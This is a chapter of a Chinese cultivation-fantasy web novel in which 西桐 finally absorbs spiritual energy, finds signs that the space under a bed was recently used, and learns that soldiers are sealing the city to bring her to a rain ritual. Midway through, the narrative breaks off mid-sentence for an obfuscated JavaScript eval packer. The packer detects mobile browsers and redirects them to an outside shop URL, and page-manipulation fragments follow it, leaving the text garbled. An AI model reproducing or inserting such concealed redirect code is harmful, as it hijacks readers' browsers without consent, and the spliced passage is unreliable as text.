“……好。”
西桐眉头跳动,从于恰好的房中离开,两人来到铺子后院,月色寂静。
她从没想过有朝一日,自己还有机会改善灵气问题。
就算这法诀不成功,这份情她也领了。
西桐站定,手没再习惯性搭在剑上,而是一字字去读纸上墨迹,看得洛三客心中不由得紧张起来,屏住呼吸不敢喘气。
终于,西桐启齿,阖目开始念诵法诀,字句落下,天空中繁星闪烁,四周的风向似乎有所改变,正以她为中心形成个小漩涡。
天道似乎察觉了西桐的气息,云层刚要凝聚,却忽得觉出不对劲。
先前它劈得是个外来人,是与这方世界了无牵挂的人,所以天道才敢肆无忌惮追捕她,但如今再次查探,西桐居然和这个世界有了联系。
既然如此,杀了她就势必会影响其他人,灭她一个得不偿失。
消除异己和维持世界平稳两相矛盾,底层逻辑冲突,天道不免有些投鼠忌器。
洛三客静观这一幕,他站在风外,心如擂鼓。
看这情况……
莫非他成功了?
他骗过去了吗?
洛三客常和李万打交道,虽然不精于此道,但对命运一事仍有所涉猎。
不久前西桐提出可以用灵气遮蔽气息时,他就在想:西桐影响了整个朗月宗的命运不假,但如果这种行为是命中注定、迟早要发生的,那为什么天道会如此气愤,以至于追着西桐劈?
他自觉脑袋不甚聪明,想了半天只能想出一个离奇却合理的解释:
西桐的行为不在天道推演范围之内,对天道而言,她是不该诞生的。
这种人到底是怎么绕过天道诞生的,他实在是想不明白了,但要他解决西桐吸收不了灵气的麻烦,他倒是能动动脑筋。
瞧,念几个法诀、做几个动作,骗天道她其实有自己的命运,她在你的推演之内。
……这不就能顺应天地建立联系,开始吸纳灵气了?
西桐站在无形的漩涡之中,第一次感受到灵气如清风舒畅,世间万物都好像身体的延伸,呼吸间仿佛能感受到远处树木生根。
灵气不再排斥自己,而是随她心意,这是完全陌生的体验。
“感觉如何?”
西桐点点头,示意自己还不错,初步适应灵气后,她开始念诵下一句法诀,操控灵气环绕在自己身旁,祛除那些浊气晦气。
这时练剑的好处就显现出来了,虽然外表不显,但她好歹也练了上万个小时的剑,心稳手稳非常人能及,每一缕浊气都在风中被带走,最后只留下孑然一身。
法诀念诵前二人均把心提到了嗓子眼,但真到了测试环节,时间却流逝得异常快,谁也没有反应过来结束。
漩涡就无声消失了。
西桐翻来覆去看自己的手、自己的身旁,真如洛三客所说,浊气消去大半。
“……真神奇。”她赞叹道。
洛三客松了口气,兴高采烈又不敢上前,只能隔着段距离笑,头不由得低下,像是解开了道难以企及的难题。
他高兴道:“有一就有二,你这一次能成功,以后也能成功的。”
西桐依旧有些发愣,还想再说些什么,但理智扯住了最后一道弦,她抬头望漆黑的夜。
时间不早了,明天要起早去学堂,他们需要足够的休息。
西桐自觉说的话煞风景,不自然道:“嗯……未来的事就未来再说,现在先各自回房休息吧。”
“好吧。”
洛三客本以为这法诀能让西桐像个小孩一样高兴点,没想到到头来连一个笑都没见到。
……真怪,这还是小孩子吗,耄耋老人遇到这种事都会笑一笑吧?
但在他转身欲走的瞬间,一道声音却从后喊住了他。
两道目光在空中交汇,西桐的眼睛很亮,她终于还是笑了,是个不易察觉的弧度,道:“谢谢你,洛三客。”
洛三客抬起手,轻轻咳了声,他还从没被人这么感谢过,刚想说没什么缓解一下气氛,一抬头却看见院子空了。
空了,西桐走了。
西桐抻了个懒腰,回房间走到窗旁,她默念法诀,周身灵力再度运转,明明不久前才体验过一回,却还是怎么都不腻。
怎么可能腻?她想运转灵气、想修仙想了多久?如今却在一个月明星繁的晚上平静实现了,她的内心可不平静。
净身诀前半部分是建立联系,后半部分才是真的“净身”,洛三客有天赋不假,但西桐也有很多时间。
视野角落,因为西桐一直与人同行而很久没跳动的数字,再次开始累积。
她剖开法诀,照着脑袋里藏书阁的内容,逐字逐句研究逻辑,开始改良。
隔空控物?对灵气的控制还有些不稳,但只要花时间练习,迟早能取满杯却不溢水。
灵气化剑?等她能更熟练地萃取高浓度灵气,到时候不用器物也能防身。
探听声息……
西桐精神亢奋,状态有如任督二脉被打通,正好房间里只有她一人,没了别的注视,她便肆无忌惮控制着灵气。
其实方才不是她不高兴,只是有洛三客在——有人在,她就不自在。
忽然,一道前所未有的空洞声顺着灵气回到耳中,声音之奇怪,当即打断了西桐的专注。
这声音说熟悉,确有几分敲门板的意思,说陌生,有种被厚布蒙着的少见的窸窣声。
西桐循着来源,小心前进,步步走到床前。
于恰好床边,西桐眯着眼睛细瞧,神色专注如鹰隼,腰间佩剑寒光闪烁。
她手抚过厚实冰冷的被褥,没在床板上发现任何机关,西桐眉头紧皱,不肯放松,后退两步,目光落到床下,脚尖轻踢床裙板。
“咚”一声闷响入耳。
这床原来不是落地床,只是加装了一块木板、挡住床下空间的架子床。
西桐颇有耐心,掏出飞刀撬松榫卯,小声呼吸,半柱香后,她托着那块比她人高的木板放到一旁,床下是不见五指的黑暗。
她从墙上拿下灯具,划火点燃,这才小心翼翼俯下身子,朝床下探去。
正常来说,这类床下空间因为难以打扫,加之云城空气干燥,要不了多久就会积厚厚一层灰,但西桐轻抿一掌,指尖灰尘只有薄薄一层,几不可见。
要么是于恰好每次打扫都会刻意拆下床板爬进去清理……要么就是这空间不久前还被使用过。
若是于恰好还好端端站在这里,西桐是绝对不会做出窥探别人隐私这种事的,但现在人已经消失,还留下了句难懂的诗句,怎叫人不担心?
片刻犹豫后,西桐带着烛火,进了床下。
光所及之处,除了四处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011573|192137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱飘的灰尘,这狭小的空间里还真没什么东西,西桐蹙眉,微张着嘴,开始轻声念诵法诀。
灵气悄然周旋在她身侧,探查周围不寻常的地方,不知过了多久,有处灵气的流向微微振动,似是流动中忽然受了颠簸。
西桐立刻翻身去看,手抬起烛光,昏黄光芒之中,木床板上有几道微不可查的剐蹭痕迹。
像是从床底下拖出什么棱角分明的重物时,才会出现的蹭痕。
一晚上的轻松心情陡然严肃起来,西桐盯着那几道痕迹,脑海中想法盘旋,一会儿是前房主可能留下的痕迹,一会儿是于恰好会不会放了什么东西。
但线索少得可怜,实在无法通过一地薄灰尘和床板的刮痕就断定这里发生了什么。
就在此时,“咚咚”两声,楼下门外忽然有暴戾的敲门声!
西桐一惊,连忙起身,额头差点撞到床板。
她赶快退出这片空间,先将灯熄灭挂好,又把一切恢复原状,灰头土脸悄悄趴在窗边,打量门外状况。
夜色中,两个官兵不耐烦地又敲了遍门,力气之大像是要把门砸个洞出来,才好发泄这半夜出来巡逻的怒火。
西桐侧耳细听,走廊里满是跌跌撞撞的磕碰声,目光下移,金掌柜披头散发打开了铺子大门。
从这个角度只能看见人饱满的后脑勺,但不妨碍金掌柜鞠躬幅度大,凭想象也能猜出他脸上是什么神色。
金掌柜赔笑道:“抱歉二位大人,如此深夜起身慢了些,您来这是为了……?”
官兵不耐道:“今日黄昏,有一及腰高的女童入城,传言那位是神女再世,你可曾见过她?”
金掌柜压下心跳,面不改色开始扯谎:
“不曾,只是不知大人找神女是何缘由,小的愚钝,若是知道这事有多紧急,也好为大人尽绵薄之力,打探神女踪迹。”
金掌柜来云城仅一月有余,但性格所致,消息十分灵通,知道点神女传说和不可说的祭祀事宜,对官兵要找西桐一事也隐隐有自己的推测。
只是推测归推测,还需要人来验证。
官兵对视一眼,道:“行吧。
“下一次祈雨醮快来了,正巧碰上神女云游至此,道长说务必邀请神女出席,如此便能和六十年前一样,求来暴雨。”
果然,“神女”这个词在云城是和祈雨醮绑定的。
金掌柜暗自思量,面上讪讪道:“小的明白,日后若有消息,一定第一时间禀告大人。”
官兵道:“行,进出城门的口已关,神女大人还在城中,多努力立功吧。”
楼上观察的西桐身形一顿,望向官兵的目光更加深沉,门口的金掌柜却是面不改色,嗻嗻称是。
用一堆吹嘘拍马的话术将人送走后,金掌柜长叹口气,双手撑在柜台上,缓缓、缓缓弯下了腰。
一夜,有人熟睡有人难眠。
云城城门已关,花这么大阵仗只为了抓一个今日刚来的“神女”?
那西桐若是不出席,等祈雨醮结束,这城门还会不会开了?
金掌柜一夜辗转反侧,翌日清早,将半夜事情和疑虑都说出口。
早晨被粟米粥和炊饼暖起来的氛围又降了下去。
西桐“哼”了声。
她平静道:“我不去。”
城门关了如何,一城人抓她又如何,她不想去,那就不去。